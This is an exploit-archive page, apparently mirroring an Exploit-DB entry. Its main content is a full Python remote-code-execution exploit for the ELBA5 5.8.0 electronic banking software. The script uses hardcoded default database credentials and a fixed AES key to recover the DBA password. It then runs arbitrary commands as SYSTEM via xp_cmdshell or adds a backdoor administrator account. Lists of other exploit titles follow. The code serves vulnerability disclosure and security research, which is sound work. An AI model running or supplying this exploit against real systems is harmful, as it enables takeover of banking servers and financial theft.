Menu

Search for hundreds of thousands of exploits

"ELBA5 5.8.0 - Remote Code Execution"

Author

Exploit author

"Florian Bogner"

Platform

Exploit platform

windows

Release date

Exploit published date

2018-11-26

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
# Exploit Title: ELBA5 5.8.0 - Remote Code Execution
# Date: 2018-11-16
# Exploit Author: Florian Bogner
# Vendor Homepage: https://www.elba.at
# Vulnerable Software: https://www.elba.at/eBusiness/01_template1/1206507788612244132-1206515595789049657_1206515641959948315-1292519691128454196-NA-38-NA.html
# Version: up to 5.8.0
# Tested on: any Windows OS
# Full Writeup: https://bogner.sh/2018/11/0-day-in-elba5s-network-installation-overtaking-your-companys-bank-account/
# Summary: 	This exploit has been tested against ELBA5 version 5.7.1 to 5.8.0. It can be used to remotely obtain code
# execution on the ELBA5 server with full SYSTEM level permissions. Additionally, a backdoor user can be added

Please see attachment for the full python exploit.

import sys
import hashlib

try:
	import sqlanydb
except:
	print("\n")
	print("==================================================")
	print("This exploit depends on the sqlanydb python module")
	print("Run \"pip install sqlanydb\" to install it")
	print("==================================================")
	print("\n")
	raise	
	
# this should be defined on the cli
DB_HOST=None
ACTION=None

# The default ELBA port
DB_PORT="2640"	

# The servername to connect to... does not really matter anywhay
DB_SERVERNAME="ELBA5SRV"
	
# The initial "connector" database user that is used to obtain the actual DBA credentials
DB_CONNECTOR_UID="connector"
DB_CONNECTOR_PWD="connector"

# The actual DB user with DBA permissions
DB_DBA_UID="elba"
DB_DBA_PWD=None
DB_DBA_ENCRYPTION_PWD="Af&Pw_dw7$Yd9#"

def main():
	print("==================================================")
	print(" ELBA5 Electronic Banking (https://www.elba.at/)")
	print("    Network Installation RCE Exploit")
	print("")
	print("This exploit has been tested against version 5.7.1")
	print("to 5.8.0. It can be used to remotely obtain code")
	print("execution on the ELBA5 server with full SYSTEM")
	print("level permissions.")
	print("")
	print("Discovered by: Florian Bogner @ Bee IT Security")
	print("  florian(at)bee-itsecurity.at")
	print("==================================================")
	print("")
	
	if (len(sys.argv)<3):
		print_usage()
		sys.exit(1)
	
	# get info from cli
	global DB_HOST
	global ACTION
	
	DB_HOST=sys.argv[1]
	ACTION=sys.argv[2]
	
	#### phase 1
	print("[*] Starting phase 1: Obtain & Decrypt DBA password")
	DB_DBA_PWD=fetch_db_dba_pwd()
	
	if (DB_DBA_PWD==None):
		print("[-] Something went wrong in phase 1... Exiting")
		sys.exit(1)

	print("[+] Received the DBA password: "+DB_DBA_PWD)
	
	#### phase 2
	print("[*] Starting phase 2: Establishing a DB connection as DBA")
	conn = sqlanydb.connect(
			uid=DB_DBA_UID, 
			pwd=DB_DBA_PWD,
			servername='ELBA5SRV', 
			host=''+DB_HOST+':'+DB_PORT
		)
	
	if (conn==None):
		print("[-] Something went wrong in phase 2... Exiting")
		sys.exit(1)

	print("[+] Connection established as DBA")
	
	#### deliver payload
	if (ACTION=="addUser"):
		print("[*] Starting phase 3: Adding a backdoor user")
		add_elba_user(conn);
	elif (ACTION=="runCommand"):
		print("[*] Starting phase 3: Running command")
		run_command(conn);
	else:
		print("[*] Unknown action "+ACTION+"... Exiting cleanly")
	
	#### winding down
	print("[*] Closing DBA connection")
	conn.close()

def print_usage():
	print("Usage: "+sys.argv[0]+" <target> <action> <sub arguments...>");
	print("");
	print("target: The system to attack");
	print("actions:");
	print(" * addUser: adds an ELBA Backdoor user to the given install")
	print(" * runCommand: A command to run on the target as SYSTEM")
	print("               Provide the command to run as a sub argument")
	print("               (No output is provided)")
	
def run_command(conn):

	if (len(sys.argv)!=4):
		print("[-] No command given... Exiting cleanly")
		return

	CMD=sys.argv[3]

	curs = conn.cursor()
	
	print("[*] Will try to execute: "+CMD)
	curs.execute("CALL xp_cmdshell('"+CMD+"');")
	
	curs.close()
	
def add_elba_user(conn):
	USER_TO_ADD = "HACKER"
	USER_PASSWORD = "H4cker"
	
	# check if a user with the given name already exists
	print("[*] Checking if the username "+USER_TO_ADD+" is unused")
	
	curs = conn.cursor()
	curs.execute("SELECT * FROM \"elbndba\".\"BEDIENER\" WHERE BEDIENER='"+USER_TO_ADD+"'")
	rowset = curs.fetchall()
	curs.close()
	
	if (len(rowset)>0):
		print("[-] A user with the name "+USER_TO_ADD+" already exists! Exiting cleanly...")
		return
	
	
	
	# get the largest current bedienerKey
	print("[*] Request the largest current bedienerKey")
	curs = conn.cursor()
	curs.execute("SELECT MAX(bedienerKey) FROM \"elbndba\".\"BEDIENER\"")
	currentBedienerKey = curs.fetchone()[0]
	curs.close()
	
	newBedienerKey=currentBedienerKey+1
	
	print("[*] Will use the new bedienerKey "+str(newBedienerKey))
	
	
	# create password hash
	print("[*] Hash the password")
	usrdir="USER"+str(newBedienerKey)
	string_to_hash=USER_PASSWORD+str(newBedienerKey)+usrdir
	
	hash = hashlib.sha256(string_to_hash.encode('ascii','replace')).hexdigest()
	print("[*] Will use the hash: "+hash)

	# add the user
	print("[*] Finally adding the user")
	curs = conn.cursor()
	
	sql  = "INSERT INTO \"elbndba\".\"BEDIENER\" (BEDIENER,NAME,ABTEILUNG,PASSWORT,GESPERRT,ADMIN,USRDIR,geloescht,bedienerKey) "
	sql += "VALUES ('"+USER_TO_ADD+"','"+USER_TO_ADD+"','','"+hash+"',0,1,'"+usrdir+"',0,"+str(newBedienerKey)+");"
	
	curs.execute(sql)
	
	# commit changes
	print("[*] Commiting changes")
	conn.commit()
	
	print("[+] Login as "+USER_TO_ADD+" with the password "+USER_PASSWORD)
	curs.close()
	
# connect to the target host with the "connector" user and extract the dba password
def fetch_db_dba_pwd():

	target_host=''+DB_HOST+':'+DB_PORT
	print("[*] Trying to connect to the target server: "+target_host)
	
	conn = sqlanydb.connect(
			uid=DB_CONNECTOR_UID, 
			pwd=DB_CONNECTOR_PWD,
			servername='ELBA5SRV', 
			host=target_host
		)

	print("[*] Extracting the secret key")
	curs = conn.cursor()
	curs.execute("SELECT DECRYPT(daten, '"+DB_DBA_ENCRYPTION_PWD+"', 'AES') FROM elbndba.connection")
	
	# decode the result to a valid utf-8 string
	decrypted_pwd=curs.fetchone()[0].decode("utf-8") ;
	
	curs.close()
	conn.close()
	
	return decrypted_pwd;
	
main();
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2018-11-26 "ELBA5 5.8.0 - Remote Code Execution" remote windows "Florian Bogner"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.